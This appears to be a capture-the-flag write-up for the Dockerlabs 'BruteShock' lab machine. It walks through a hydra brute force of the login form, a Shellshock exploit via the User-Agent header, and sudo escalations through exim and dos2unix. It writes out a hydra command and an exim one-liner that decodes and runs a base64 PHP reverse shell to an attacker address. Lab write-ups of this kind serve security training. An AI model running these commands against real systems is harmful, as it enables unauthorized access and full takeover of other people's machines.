Post

Write-up / BruteShock Dockerlabs.

Write-up Brute Forcing a Login Panel and exploiting the Shellshock vulnerability, Bash EQ Privilege Escalation, Sudoers Privilege Escalation.

Write-up / BruteShock Dockerlabs.

Download vulnerable target machine: BruteShock - Dockerlabs.es

Discovery.

Ports scannig.

nmap -p- -Pn -sS --min-rate 5000 --open <IpAdress>

img-description Open ports: 80

Port Version scan:

img-description

Let’s check what’s in port 80: img-description

There is a Login Panel, I tried to fuzz for directories and perform different techniques in the login Panel but only brute force worked.

Exploitation.

Login Panel Brute Force

You can check how to perform the next Brute Force attack in Web Login Brute Force Attack.

Checking the Storage I saw that the server was using Cookies, we can not forget them to deploy the Brute Force attack.

img-description

1
`hydra -t 64 -L <USERS> -P <PASSWORDS> <RHOST> http-post-form "/:username=^USER^&password=^PASS^:H=Cookie:PHPSESSID=dmov6tk8655k89eh2p1a2s2h42:Credenciales Incorrectas."`

img-description Password detected.

Sublime's custom image

After logging in as the admin user, we arrive at the next panel:

img-description

We have a clue: “User-Agent almacenado en el log”.
With this information I tried to make the explotation through the User-Agent.

Shellshock Attack.

After conducting various tests, I detected that the Shellshock vulnerability was occurring.

You can check how to perform a step-by-step ShellShock attack in: Pentesterarchive - Shellshock.

Detection.

img-description

Exploitation.

First try.

Now that we know that we have found a way to execute commands in the target, let’s try to get a shell. webshell.php

img-description img-description img-description img-description img-description img-description

I finally achieved a reverse shell, but for some reason, I couldn’t keep the conection up a lot of time, so I tried another way to access the system.

Second try, msfvenom.

This time I created an msfvenom payload and executed it on the target via the Shellshock vulnerability.

img-description Payload Creation.

img-description Downloading the payload.

img-description

img-description Giving execution permissons to the payload.

img-description

We finally got a stable connection.


Post Exploitation.

Lateral Movement 1.

I found some credentials while I was enumerating the system:

img-description

I like to use john to decrypt the hashes:

john Cracking linux hashes.

img-description

Lateral Movement 2.

This time I used linpeas.sh to scan the target and find vulnerabilities.

img-description

We can use /home/maci/script.sh as the user maci whithout a Password.

Bash eq Privilege Escalation.

Bash eq Privilege Escalation.

img-description

Lateral Movement 3.

This time we can use sudo -l again and try to exploit /usr/sbin/exim.

img-description

img-description

I tried different exim PE exploits from exploitdb but nothing worked.
Reading the exim documentation I saw the following paramethers and I tried to find more information to see if I could elevate my privileges using exim -be. img-description

img-description img-description

1
echo '#!/bin/bash' > /tmp/script && echo "echo 'cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE3Mi4xNy4wLjEiLDQ0NDQpO2V4ZWMoImJhc2ggPCYzID4mMyAyPiYzIik7Jw==' | base64 -d | bash" >> /tmp/script && chmod +x /tmp/script && sudo -u pepe exim -be 'x=${run{/tmp/script}}'

img-description

img-description

Privilege Escalation.

img-description

Sudoers Privilege Escalation.

img-description

dos2unix gtfobins.

img-description

We will try to change the /etc/passwd file to become the root user.

You can check how to perform the next PE attack in: Files Privilege Escalation (/etc/passwd).

In this case I deleted the x in the root user so we don’t need to specify the root password the next time I use sudo.

img-description img-description img-description

This post is licensed under CC BY 4.0 by the author.